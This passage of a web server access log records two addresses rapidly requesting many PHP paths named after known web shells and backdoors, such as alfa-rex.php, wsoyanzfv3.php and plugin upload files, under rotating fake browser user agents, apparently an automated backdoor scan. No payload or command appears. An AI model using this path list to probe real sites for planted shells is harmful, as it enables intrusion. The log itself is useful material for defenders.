HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:33 -0400] "GET /op.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:33 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:33 -0400] "GET /l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:33 -0400] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:33 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:17:34 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:17:34 -0400] "GET /wp-includes/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:34 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:34 -0400] "GET /update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:34 -0400] "GET /wp-includes/blocks/site-title/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:17:34 -0400] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:34 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:34 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:34 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:17:34 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:34 -0400] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:34 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:34 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:34 -0400] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:35 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:17:35 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:35 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:17:35 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.191 - - [23/Apr/2025:03:17:35 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:35 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:17:35 -0400] "GET /index/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.191 - - [23/Apr/2025:03:17:36 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:36 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.191 - - [23/Apr/2025:03:17:36 -0400] "GET /er.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:36 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:36 -0400] "GET /wp-content/plugins/ioxi/alfa-ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:36 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:36 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:37 -0400] "GET /wp-admin/css/colors/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:37 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:37 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:37 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:17:37 -0400] "GET /ssa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:37 -0400] "GET /hui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:17:37 -0400] "GET /oo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:37 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:37 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:37 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:17:37 -0400] "GET /hardenX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:37 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:37 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:37 -0400] "GET /.qiofetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:37 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:38 -0400] "GET /wp-admin/maint/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:38 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:38 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.191 - - [23/Apr/2025:03:17:38 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:38 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:38 -0400] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:17:38 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:38 -0400] "GET /wp-ncludes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:38 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:38 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:38 -0400] "GET /.qiodetme.php/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:38 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:38 -0400] "GET /images/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:39 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:39 -0400] "GET /wp-admin/images/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:17:39 -0400] "GET /new2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:17:39 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:39 -0400] "GET /wp-admin/maint/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:17:39 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:39 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:39 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.191 - - [23/Apr/2025:03:17:40 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:17:40 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:40 -0400] "GET /wp-admin/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.191 - - [23/Apr/2025:03:17:40 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:17:40 -0400] "GET /ui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:40 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:40 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:17:41 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:41 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:41 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:41 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:42 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:42 -0400] "GET /ki.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:42 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:42 -0400] "GET /.well-known/pki-validation/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:42 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:42 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:17:42 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:42 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:42 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:42 -0400] "GET /kl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:42 -0400] "GET /about/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:43 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:43 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:43 -0400] "GET /wp-admin/images/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:43 -0400] "GET /wsoyanzfv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:43 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:43 -0400] "GET /wp-content/plugins/cp-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:43 -0400] "GET /wp-admin/Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:43 -0400] "GET /saka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:17:43 -0400] "GET /wp-includes/css/dist/components/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:43 -0400] "GET /index/gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:43 -0400] "GET /wp-content/uploads/2023/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:43 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:44 -0400] "GET /tt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:44 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:44 -0400] "GET /lk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:17:44 -0400] "GET /uu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:17:44 -0400] "GET /.well-known/acme-challenge/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:44 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:44 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:17:44 -0400] "GET /wp-content/plugins/Core-EconX/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:44 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:44 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:44 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:44 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 